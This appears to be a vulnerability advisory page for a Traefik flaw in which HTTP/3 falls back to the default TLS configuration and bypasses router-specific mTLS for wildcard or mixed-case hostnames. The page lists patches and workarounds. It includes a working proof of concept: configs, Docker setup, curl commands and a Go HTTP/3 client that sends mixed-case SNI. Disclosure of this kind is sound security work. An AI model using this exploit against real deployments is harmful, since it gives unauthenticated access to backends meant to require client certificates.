CVE-2026-53622: Traefik: HTTP/3 mTLS bypass via exact SNI TLSOptions lookup for wildcard and mixed-case hosts

Published Jun 16, 2026
·
Updated

Summary

There is a critical vulnerability in Traefik's HTTP/3 (QUIC) TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact, case-sensitive lookup on the SNI value, which fails to match wildcard host patterns (e.g., .example.com) or case variants of the configured hostname. Because the handshake falls back to the default TLS configuration — which may not require client certificates — a client can complete the QUIC handshake without presenting a certificate, while the subsequent HTTP routing layer still dispatches the request to a backend protected by a router-specific mTLS policy. The issue affects deployments where HTTP/3 is enabled, a router uses a wildcard Host rule or case-insensitive hostname matching, a router-specific TLSOptions enforces client certificate authentication, and UDP access to the entrypoint is reachable by an attacker.

Patches

- https://github.com/traefik/traefik/releases/tag/v3.7.3

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

Traefik's HTTP/3 TLS configuration selection can ignore router-specific TLSOptions and allow unauthenticated clients to bypass mTLS. The QUIC/HTTP3 path resolves TLS configuration with Router.GetTLSGetClientInfo(), which performs a direct, case-sensitive map lookup on hostHTTPTLSConfig[info.ServerName].

This is inconsistent with the later HTTP host routing semantics, where the same request host can still match wildcard or case-insensitive Host rules after the HTTP/3 TLS handshake has already fallen back to the default TLS configuration. Two exploit paths are confirmed:

1. Host(".example.com") with tls.options=mtls: HTTP/2 requires a client certificate, but HTTP/3 reaches the protected backend without one. 2. Host("api.example.com") with tls.options=mtls: HTTP/2 requires a client certificate, but HTTP/3 with mixed-case SNI/Host such as API.EXAMPLE.COM reaches the protected backend without one.

Confirmed versions:

- wildcard HTTP/3 bypass: v3.7.0, v3.7.1 - exact-host mixed-case HTTP/3 bypass: v3.6.17, v3.7.0, v3.7.1

Details

HTTP/3 installs a QUIC TLS callback in pkg/server/serverentrypointtcphttp3.go:

go h3.Server = &http3.Server{ Addr: config.GetAddress(), Port: config.HTTP3.AdvertisedPort, Handler: httpsServer.Server.(http.Server).Handler, TLSConfig: &tls.Config{GetConfigForClient: h3.getGetConfigForClient}, }

The callback is wired to the TCP router's TLS selector:

go func (e http3server) Switch(rt tcprouter.Router) { e.lock.Lock() defer e.lock.Unlock()

e.getter = rt.GetTLSGetClientInfo() }

The selector in pkg/server/router/tcp/router.go only performs an exact map lookup:

go func (r Router) GetTLSGetClientInfo() func(info tls.ClientHelloInfo) (tls.Config, error) { return func(info tls.ClientHelloInfo) (tls.Config, error) { if tlsConfig, ok := r.hostHTTPTLSConfig[info.ServerName]; ok { return tlsConfig, nil }

return r.httpsTLSConfig, nil } }

That creates two mismatches:

- wildcard keys such as .example.com are never matched for api.example.com - lower-case router keys such as api.example.com are not matched for mixed-case SNI such as API.EXAMPLE.COM

On the later HTTP request path, the same host can still match wildcard or case-insensitive Host rules through the muxer. The HTTP/3 TLS handshake path falls back to the default TLS config before that routing decision happens. If the default TLS config does not require a client certificate, the QUIC handshake succeeds without mTLS, and the later HTTP router still routes to the protected backend.

Preconditions:

- HTTP/3 is enabled on the affected entrypoint. - A router-specific TLSOptions configuration enforces client certificate authentication. - The default/fallback TLS configuration does not require client certificates. - UDP access to the HTTP/3 entrypoint is reachable by the attacker.

Minimal wildcard dynamic configuration:

yaml http: routers: protected: rule: Host(.example.com) service: protected tls: options: mtls

services: protected: loadBalancer: servers: - url: http://protected:80

tls: certificates: - certFile: /certs/server.crt keyFile: /certs/server.key

options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert

Minimal exact-host dynamic configuration:

yaml http: routers: protected: rule: Host(api.example.com) service: protected tls: options: mtls

services: protected: loadBalancer: servers: - url: http://protected:80

tls: certificates: - certFile: /certs/server.crt keyFile: /certs/server.key

options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert

Minimal Docker Compose:

yaml services: traefik: image: traefik:v3.7.1 command: - --log.level=DEBUG - --entrypoints.websecure.address=:8443 - --entrypoints.websecure.http3 - --providers.file.filename=/etc/traefik/dynamic.yml - --providers.file.watch=false ports: - "8443:8443/tcp" - "8443:8443/udp" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro - ./certs:/certs:ro dependson: - protected

protected: image: traefik/whoami:v1.11 command: - --name=PROTECTED

Certificate generation:

bash rm -rf certs mkdir -p certs

openssl req -x509 -newkey rsa:2048 -nodes -days 7 -keyout certs/ca.key -out certs/ca.crt -subj "/CN=traefik-poc-ca"

openssl req -newkey rsa:2048 -nodes -keyout certs/server.key -out certs/server.csr -subj "/CN=api.example.com" -addext "subjectAltName=DNS:api.example.com,DNS:.example.com"

openssl x509 -req -in certs/server.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial -out certs/server.crt -days 7 -sha256 -copyextensions copyall

The mixed-case HTTP/3 client used for the exact-host case:

go package main

import ( "crypto/tls" "fmt" "io" "net/http" "os" "time"

"github.com/quic-go/quic-go/http3" )

func main() { serverName := os.Getenv("TLSSERVERNAME") if serverName == "" { serverName = "API.EXAMPLE.COM" }

host := os.Getenv("HTTPHOST") if host == "" { host = "API.EXAMPLE.COM" }

tr := &http3.Transport{ TLSClientConfig: &tls.Config{ ServerName: serverName, InsecureSkipVerify: true, }, } defer tr.Close()

client := &http.Client{Transport: tr, Timeout: 8 time.Second}

req, err := http.NewRequest(http.MethodGet, "https://127.0.0.1:8443/", nil) if err != nil { panic(err) } req.Host = host

resp, err := client.Do(req) if err != nil { fmt.Fprintln(os.Stderr, err) os.Exit(1) } defer resp.Body.Close()

fmt.Println(resp.Proto, resp.StatusCode) body, := io.ReadAll(resp.Body) fmt.Print(string(body)) }

PoC

Wildcard bypass:

1. Start Traefik with the wildcard dynamic configuration above. 2. Control over TCP/TLS:

bash curl --noproxy '' --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/

Observed result:

text TLS alert ... certificate required

3. HTTP/3 bypass:

bash curl --noproxy '' --http3-only -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/

Observed result:

text HTTP/3 200 Name: PROTECTED Host: api.example.com:8443

Exact-host mixed-case bypass:

1. Start Traefik with the exact-host dynamic configuration above. 2. Control over TCP/TLS:

bash curl --noproxy '' --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/

Observed result:

text TLS alert ... certificate required

3. Mixed-case HTTP/2 control:

bash curl --noproxy '' --http2 -skv --resolve API.EXAMPLE.COM:8443:127.0.0.1 https://API.EXAMPLE.COM:8443/

Observed result:

text TLS alert ... certificate required

This control confirms that the bypass is specific to the HTTP/3 TLS configuration selection path in this test setup. The HTTP/2 request to the same mixed-case hostname still fails with certificate required.

4. HTTP/3 bypass with the same mixed-case hostname:

bash TLSSERVERNAME=API.EXAMPLE.COM HTTPHOST=API.EXAMPLE.COM go run ./h3-case-client.go

Observed result:

text HTTP/3.0 200 Name: PROTECTED Host: API.EXAMPLE.COM

Local regression tests used during validation:

bash go test ./pkg/server/router/tcp -run 'TestGetTLSGetClientInfo(WildcardCurrentBehavior|ExactHostCaseSensitivityCurrentBehavior)$' -count=1

These tests were added locally during analysis to demonstrate the current behavior of GetTLSGetClientInfo(). They are not required to reproduce the issue; the Docker and curl/HTTP3 commands above are the end-to-end reproduction.

Version matrix observed with Docker images:

text wildcard H3 bypass: affected on v3.7.0 and v3.7.1 exact-case H3 bypass: affected on v3.6.17, v3.7.0, and v3.7.1

The wildcard case was tested on v3.7.x because wildcard Host / HostSNI matching and TLSOptions association for wildcard domains were introduced in v3.7.0.

Impact

Deployments that use router TLSOptions as an access-control boundary for HTTP/3 can expose protected backends without client authentication.

The highest-impact case is mTLS:

- normal HTTP/2/TCP access to the protected host requires a client certificate - HTTP/3 access to the same route falls back to the default TLS config - the request is then routed to the protected backend without satisfying the route's mTLS policy

This can expose confidential data or privileged backend operations to unauthenticated network clients. The issue is especially severe because it does not require credentials, user interaction, or a prior foothold.

Possible workarounds until a fix is available:

- Disable HTTP/3 on entrypoints that rely on router-specific mTLS. - Enforce mTLS in the default TLS options as well, so fallback TLS configuration is not weaker than router-specific configuration. - Block UDP access to the HTTP/3 entrypoint. - Enforce client authentication at an additional layer behind Traefik.

</details>

---

Other sources

Traefik is an HTTP reverse proxy and load balancer. Prior to 3.7.3, there is a critical vulnerability in Traefik's HTTP/3 (QUIC) TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact, case-sensitive lookup on the SNI value, which fails to match wildcard host patterns (e.g., .example.com) or case variants of the configured hostname. Because the handshake falls back to the default TLS configuration — which may not require client certificates — a client can complete the QUIC handshake without presenting a certificate, while the subsequent HTTP routing layer still dispatches the request to a backend protected by a router-specific mTLS policy. The issue affects deployments where HTTP/3 is enabled, a router uses a wildcard Host rule or case-insensitive hostname matching, a router-specific TLSOptions enforces client certificate authentication, and UDP access to the entrypoint is reachable by an attacker. This vulnerability is fixed in 3.7.3.

MITRE

Affected Software

4 affected componentsFixes available
go/github.com/traefik/traefik<=1.7.34
go/github.com/traefik/traefik/v2<=2.11.50
go/Traefik<=3.7.2
3.7.3
Traefik traefik<3.7.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/Traefik to a version that resolves this vulnerability.

    Fixed in 3.7.3
  2. Upgrade

    Upgrade traefik to a version that resolves this vulnerability.

    Fixed in v3.7.3Patch https://github.com/traefik/traefik/releases/tag/v3.7.3
  3. Configuration

    Disable HTTP/3 on entrypoints that rely on router-specific mTLS via router TLSOptions so QUIC/HTTP3 does not fall back to the default TLS config without client certificates.

    Traefik entrypoints (HTTP/3) --entrypoints.websecure.http3 = disabled
  4. Configuration

    Enforce mTLS in the default/fallback TLS configuration as well (not only router-specific TLSOptions), using clientAuthType=RequireAndVerifyClientCert / clientAuthType: RequireAndVerifyClientCert, so the HTTP/3 handshake fallback is not weaker than the router mTLS policy.

    Traefik TLSOptions (default/fallback) clientAuth.clientAuthType = RequireAndVerifyClientCert
  5. Compensating control

    Block UDP access to the HTTP/3 entrypoint (e.g., 8443/udp) so unauthenticated clients cannot reach the QUIC/HTTP3 listener even if HTTP/3 is configured.

  6. Compensating control

    Add an additional enforcement layer behind Traefik (e.g., an upstream/service layer) to require client authentication so that even if HTTP/3 bypasses router-specific TLSOptions, protected backends are still protected.

Event History

Jun 16, 2026
Advisory Published
via GitHub·09:04 PM
Data Sourced
via GitHub·09:04 PM
DescriptionWeaknessAffected Software
Jun 23, 2026
CVE Published
via MITRE·07:13 PM
Data Sourced
via MITRE·07:13 PM
DescriptionWeakness
Data Sourced
via Red Hat·08:01 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·08:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-53622?

CVE-2026-53622 has a severity rating of 77, indicating it is a critical vulnerability.

2

What specific issue does CVE-2026-53622 address?

CVE-2026-53622 allows unauthenticated clients to bypass router-specific mTLS enforcement when HTTP/3 is enabled.

3

How do I fix CVE-2026-53622?

To fix CVE-2026-53622, update Traefik to version 3.7.3 or later.

4

What software versions are affected by CVE-2026-53622?

CVE-2026-53622 affects Traefik versions prior to 3.7.3.

5

Can CVE-2026-53622 be exploited remotely?

Yes, CVE-2026-53622 can be exploited remotely by unauthenticated clients.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203